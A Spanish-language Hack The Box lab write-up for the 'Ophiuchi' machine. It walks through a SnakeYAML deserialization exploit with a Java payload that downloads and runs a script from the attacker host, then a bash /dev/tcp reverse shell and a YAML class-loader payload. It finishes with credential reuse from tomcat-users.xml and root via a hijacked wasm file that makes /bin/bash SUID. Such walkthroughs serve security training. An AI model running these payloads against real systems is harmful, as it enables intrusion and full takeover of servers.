Maquina Ophiuchi - htb writeup

Firtmiracle el
Maquina Ophiuchi - htb writeup

Hoy vamos a hacer una máquina hackthebox de dificultad media, la cual va a ser explotada utilizando la vulnerabilidad de deserialización de YAML para SnakeYAML utilizada en aplicaciones java, y modificando un archivo wasm para obtener privilegios de root.

Vamos a comenzar creando un directorio con el nombre de la maquina:

❯ mkdir Ophiuchi
❯ ls
 Ophiuchi

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

Enumeración #

Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.227
PING 10.10.10.227 (10.10.10.227) 56(84) bytes of data.
64 bytes from 10.10.10.227: icmp_seq=1 ttl=63 time=124 ms

--- 10.10.10.227 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 124.383/124.383/124.383/0.000 ms

Vemos que la maquina nos responde ahora procederemos a el scaneo de puertos con la ayuda de nmap:

Escaneo de Puertos

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre allPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.227 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-24 21:16 GMT
Initiating SYN Stealth Scan at 21:16
Scanning 10.10.10.227 [65535 ports]
Discovered open port 8080/tcp on 10.10.10.227
Discovered open port 22/tcp on 10.10.10.227
Completed SYN Stealth Scan at 21:17, 18.29s elapsed (65535 total ports)
Nmap scan report for 10.10.10.227
Host is up, received user-set (0.15s latency).
Scanned at 2023-03-24 21:16:59 GMT for 18s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds
           Raw packets sent: 90294 (3.973MB) | Rcvd: 90276 (3.611MB)

Podemos ver que los puertos que se encuentran abiertos son el puerto 22 ssh y el 8080 http.

Escaneo de Version y Servicios.

❯ nmap -sCV -p22,8080 10.10.10.227 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-24 21:21 GMT
Nmap scan report for 10.10.10.227
Host is up (0.27s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds

Visulizamos informacion interesante de los puertos escaneados:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080 HTTP Apache Tomcat 9.0.38

Website - TCP 8080

Vamos a usar la herramienta whatweb para ver por consola el gestor de contenido de la pagina web.

❯ whatweb http://10.10.10.227:8080
http://10.10.10.227:8080 [200 OK] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.10.227], Java, Title[Parse YAML]

El comando nos reporta algo interesante Parse YAML

Vamos a abrir la web y vemos que la pagina efectivamente es un Yaml Parser

Vamos a realizar una busqueda para ver si hay un exploit o vulnerabilidad relacionado a Yaml Parser

Encontramos un exploit publico en un repositorio de github:

El exploit nos habla sobre deserializacion, pero que es deserializacion?

Serializacion: Se refiere a un proceso por el cual se pasan un conjunto de bytes a un objeto entendible.

En este repositorio nos habla de que mediante una deserealizacion insegura podemos conseguir RCE “ejecucion remota de comandos”:

Basicamente se explota cuando una pagina tiene la funcion de parsear un archivo YAML.

¿Pero como lo validamos entonces?

Pues en el repositorio nos muestra un codigo en yaml que podemos parsear en la web donde al ejecutarse podemos aprovecharlo para ejecutar una peticion a nuestra maquina.

Para lo cual primero debemos montarnos un servidor web, usaremos python:

Despues realizamos el parseo:

y vemos como efectivamente recibimos una peticion.

Explotación #

Al buscar el CVE encotramos un articulo sobre la vulnerabilidad:

Bueno entonces al pasarle nuestro payload SNAKE YAML llamara al constructor ScriptEngineFactory y este a su vez realizara una peticion a nuestra maquina.

Vamos a descargar el repositorio que genera los payloads para poder ejecutar codigo en el sistema:

Hacemos la clonacion del repositorio:

❯ git clone https://github.com/artsploit/yaml-payload
Clonando en 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Recibiendo objetos: 100% (10/10), listo.
❯ ls
 yaml-payload   2021-07-03-ophiuchi.md

El exploit nos dice que debemos poner el codigo que deseamos ejecutar en AwesomeScriptEngineFactory.java

❯ tree
.
├── 2021-07-03-ophiuchi.md
└── yaml-payload
    ├── README.md
    └── src
        ├── artsploit
        │   └── AwesomeScriptEngineFactory.java
        └── META-INF
            └── services
                └── javax.script.ScriptEngineFactory

5 directories, 4 files

Observamos que se encuentra ahi el script AwesomeScriptEngineFactory.java lo abrimos y procedemos a modificar el codigo que queremos ejecutar

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.16.4/reverse.sh -o /tmp/reverse.sh");
            Runtime.getRuntime().exec("bash /tmp/reverse.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Como vemos en el script intentaremos al momento de realizar la desearializacion se ejecute una peticion que con curl nos realize una peticion a un archivo el cual alojaremos een nuestra maquina y lo depositaremos en el directorio tmp de la maquina victima con el nombre reverse.sh.

Seguidamente procederemos a crear un script en bash con el nombre reverse.sh el cual al ejecutarse se encargara de ejecutarnos una peticion por el puerto 443 para obtener una shell reversa.

#!/bin/bash


bash -i >& /dev/tcp/10.10.16.4/443 0>&1

Procedemo a compilar AwesomeScriptEngineFactory.java y esto nos genera un archivo

❯ javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
manifiesto agregado
ignorando entrada META-INF/
agregando: META-INF/services/(entrada = 0) (salida = 0)(almacenado 0%)
agregando: META-INF/services/javax.script.ScriptEngineFactory(entrada = 36) (salida = 38)(desinflado -5%)
agregando: artsploit/(entrada = 0) (salida = 0)(almacenado 0%)
agregando: artsploit/AwesomeScriptEngineFactory.java(entrada = 1575) (salida = 420)(desinflado 73%)
agregando: artsploit/AwesomeScriptEngineFactory.class(entrada = 1678) (salida = 705)(desinflado 57%)

❯ ls
 src   README.md   yaml-payload.jar

modificamos el codigo YAML el cual insertaremos en la pagina YAML Parser, para que realize una peticion a nuestra maquina en donde tendremos alojado el archivo yaml-payload-jar y este a su vez nos ejecutara el codigo contenido que se encargara de realizar otra peticion a nuestro archivo reverse.sh

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.16.4/yaml-payload.jar"]
  ]]
]

Montamos un servidor con python en donde tenemos los dos archivos:

❯ ls
 src   README.md   reverse.sh   yaml-payload.jar
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

y nos ponemos en escucha con ncat en el puerto 443

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Enviamos la peticion:

y estamos dentro como el usuario tomcat:

Como siempre vamos a realizar el tratamiento de la tty para obtener una full interactiva.

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.227.
Ncat: Connection from 10.10.10.227:56610.
bash: cannot set terminal process group (796): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@ophiuchi:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tomcat@ophiuchi:/$ ^Z
zsh: suspended  ncat -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443
                                reset xterm
tomcat@ophiuchi:/$ export TERM=xterm
tomcat@ophiuchi:/$ export SHELL=bash
tomcat@ophiuchi:/$ stty rows 48 columns 184 #dependera del tamaño de tu pantalla "ejecuta stty size"

Nos dirigimos al directorio home y tratamos de leer la primera flag user.txt pero vemos que no tenemos acceso:

tomcat@ophiuchi:/$ cd /home
tomcat@ophiuchi:/home$ ls
admin
tomcat@ophiuchi:/home$ cd admin/
tomcat@ophiuchi:/home/admin$ ls
user.txt
tomcat@ophiuchi:/home/admin$ cat user.txt 
cat: user.txt: Permission denied
tomcat@ophiuchi:/home/admin$

Como vemos que somos tomcat, si recordamos su estructura sabemos que existe un archivo llamado tomcat-users.xml

tomcat@ophiuchi:/home/admin$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
tomcat@ophiuchi:/home/admin$ find / -name tomcat-users.xml 2>/dev/null
/opt/tomcat/conf/tomcat-users.xml
tomcat@ophiuchi:/home/admin$

Perfecto lo encontramos, ahora procedemos a leerlo y si efectivamente encontramos una credencial que corresponde al usuario admin

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
	version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Procedemos esa contraseña con el usuario admin y bingo!, somos el usuario ‘admin’ y ahora si podemos visualizar la primera flag user.txt.

tomcat@ophiuchi:/home/admin$ su admin
Password: 
admin@ophiuchi:~$ whoami
admin
admin@ophiuchi:~$ cat user.txt 
330298484fe5a40840ac52e730fb7f15

Ahora anteriormente vimos en la fase de reconocimiento que el puerto 22 estaba abierto, asi que por que no probemos a conectarnos por ssh:

sshpass -p 'whythereisalimit' ssh admin@10.10.10.227
❯ ssh admin@10.10.10.227
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
admin@10.10.10.227's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)

Ejecutamos el comando id para ver a que grupos pertenecemos y despues ejecutamos el comado sudo -l, para ver si podemos ejecutar un comando como usuario privilegiado ya que somos el usuario admin.

Escalada de Privilegios #

admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin@ophiuchi:~$ 

Podemos ejecutar un programa llamado index.go usando el binario /usr/bin/go como root vale?

Veremos como podemos aprovecharnos de esto para escalar privilegios.

Nos dirigimos a la ruta donde se encuentra el archivo index.go.

admin@ophiuchi:~$ cd /opt/wasm-functions/
admin@ophiuchi:/opt/wasm-functions$ ls
backup  deploy.sh  index  index.go  main.wasm
admin@ophiuchi:/opt/wasm-functions$ ls -la
total 3928
drwxr-xr-x 3 root root    4096 Oct 14  2020 .
drwxr-xr-x 5 root root    4096 Oct 14  2020 ..
drwxr-xr-x 2 root root    4096 Oct 14  2020 backup
-rw-r--r-- 1 root root      88 Oct 14  2020 deploy.sh
-rwxr-xr-x 1 root root 2516736 Oct 14  2020 index
-rw-rw-r-- 1 root root     522 Oct 14  2020 index.go
-rwxrwxr-x 1 root root 1479371 Oct 14  2020 main.wasm
admin@ophiuchi:/opt/wasm-functions$

Veamos el codigo del archivo ìndex.go el cual podemos ejecutar:

package main

import (
	"fmt"
	wasm "github.com/wasmerio/wasmer-go/wasmer"
	"os/exec"
	"log"
)


func main() {
	bytes, _ := wasm.ReadBytes("main.wasm")

	instance, _ := wasm.NewInstance(bytes)
	defer instance.Close()
	init := instance.Exports["info"]
	result,_ := init()
	f := result.String()
	if (f != "1") {
		fmt.Println("Not ready to deploy")
	} else {
		fmt.Println("Ready to deploy")
		out, err := exec.Command("/bin/sh", "deploy.sh").Output()
		if err != nil {
			log.Fatal(err)
		}
		fmt.Println(string(out))
	}
}

Al ejecutar el index.go vemos el mensaje Not ready to deploy el cual seria un problema por que al depender del directorio actual en el que este para ejecutarse, puedo secuestrar el archivo ‘main.wasm’

admin@ophiuchi:/opt/wasm-functions$ sudo  /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
admin@ophiuchi:/opt/wasm-functions$

Volvemos a leer el script y vemos que hay una variable f que es diferente de 1, y vemos que de ser lo contrario se daria la otra condicion que nos ejecutaria el deploy.sh, el cual podriamos tratar de manipular.

package main

import (
	"fmt"
	wasm "github.com/wasmerio/wasmer-go/wasmer"
	"os/exec"
	"log"
)


func main() {
	bytes, _ := wasm.ReadBytes("main.wasm")

	instance, _ := wasm.NewInstance(bytes)
	defer instance.Close()
	init := instance.Exports["info"]
	result,_ := init()
	f := result.String()
	if (f != "1") {
		fmt.Println("Not ready to deploy")
	} else {
		fmt.Println("Ready to deploy")
		out, err := exec.Command("/bin/sh", "deploy.sh").Output()
		if err != nil {
			log.Fatal(err)
		}
		fmt.Println(string(out))
	}
}

Podemos ver si tenemos permiso de modificar el archivo deploy.sh

admin@ophiuchi:/opt/wasm-functions$ cat deploy.sh 
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
admin@ophiuchi:/opt/wasm-functions$ ls -l deploy.sh 
-rw-r--r-- 1 root root 88 Oct 14  2020 deploy.sh
admin@ophiuchi:/opt/wasm-functions$

Despues de ver los permisos que tenemos sobre el archivo, sabemos que no podemos modificarlo pero vimos anteriormente que el script ìndex.go nos ejecuta el deploy.sh de forma relativa, interesante; entonces yo podria crearme en el directorio tmp mi propio archivo deploy.sh y copiarme el main.wasm ya que me los va a pillar desde alli y se podria tensa la cosa.

admin@ophiuchi:/opt/wasm-functions$ cd /tmp
admin@ophiuchi:/tmp$ cp /opt/
tomcat/         wasm-functions/ wasmer-go/      
admin@ophiuchi:/tmp$ cp /opt/wasm-functions/main.wasm .
admin@ophiuchi:/tmp$ touch deploy.sh
admin@ophiuchi:/tmp$

En deploy.sh lo que voy a intentar hacer es que este script me asigne una suid a la bash, para que como cualquier usuario en el sistema pueda spamear una consola como el propietario de forma temporal.

#!/bin/bash

chmod 4755 /bin/bash

y si intentamos ejecutar nuevamente el index.go vemos que nuevamente nos sale.

admin@ophiuchi:/tmp$ sudo  /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy

Entonces quiero pensar que en el archivo main.wasm del index.go debe existir una condicional que hace que la variable f no sea igual a 1 y por ese motivo no entra a la condicion que me ejecute el deploy.sh, pero si tratamos de leer el main.wasm no podriamos por que no es de un formato legible.

La idea seria convertir el archivo main.wasm a un formato textual y hacer poder intentar alterar los valores, para ello podemos usar una herramienta disponible en github:

Como la maquina tiene python3 vamos a abrir un servidor web por el puerto 8000 para traernos el archivo main.wasm

admin@ophiuchi:/tmp$ which python3
/usr/bin/python3
admin@ophiuchi:/tmp$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.4 - - [25/Mar/2023 01:21:42] "GET /main.wasm HTTP/1.1" 200 -
wget http://10.10.10.227:8000/main.wasm
--2023-03-25 01:21:43--  http://10.10.10.227:8000/main.wasm
Conectando con 10.10.10.227:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1479371 (1,4M) [application/wasm]
Grabando a: «main.wasm»

main.wasm              100%[=========================>]   1,41M   276KB/s    en 7,4s    

2023-03-25 01:21:51 (195 KB/s) - «main.wasm» guardado [1479371/1479371]

❯ ls
 yaml-payload   2021-07-03-ophiuchi.md   main.wasm

Ahora usando la herramienta previamente instalada haremos uso de wasm2wat sobre el archivo main.wasm y lo exportaremos como main.wat

❯ ls
 yaml-payload   2021-07-03-ophiuchi.md   main.wasm
❯ cat main.wat
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Al leer el archivo vemos que hay una constante declarada con el valor de 0 i32.const 0) la cual genera el problema por el cual el index.go no nos puede ejecutar el deploy.sh, asi que la modificaremos esa variable y le pondremos el valor de 1.

(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 1)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Una vez modificada debemos volver a generar un archivo main.wasm, el cual lo haremos con wat2wasm y lo subimos a la maquina victima compartiendonos un servicio con pythonno sin antes borrar el main.wasm de antes.

❯ /opt/wabt/build/wat2wasm main.wat > main.wasm
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
admin@ophiuchi:/tmp$ rm main.wasm 
admin@ophiuchi:/tmp$ wget http://10.10.16.4/main.wasm
--2023-03-25 01:34:51--  http://10.10.16.4/main.wasm
Connecting to 10.10.16.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 112 [application/wasm]
Saving to: ‘main.wasm’

main.wasm             100%[=========================>]     112  --.-KB/s    in 0s

2023-03-25 01:34:52 (23.2 MB/s) - ‘main.wasm’ saved [112/112]

admin@ophiuchi:/tmp$ ls
deploy.sh
hsperfdata_tomcat
main.wasm

Teniendo los archivos volvemos a ejecutar el index.go con el privilegio asignado y

admin@ophiuchi:/tmp$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

Nos lo ejecuta correctamente, entonces nos ejecuto el deploy.sh veamos si es cierto:

admin@ophiuchi:/tmp$ ls -ls /bin/bash
1156 -rwsr-xr-x 1 root root 1183448 Feb 25  2020 /bin/bash

y poom! ahora la bash es suid solo debemos ejecutar ahora el comando bash -p y visualizar la segunda flag root.txt y habriamos comprometido completamente el sistema :).

admin@ophiuchi:/tmp$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt 
0a7279e90650d908863ec8e8155efb52
bash-5.0#

Comments

comments powered by Disqus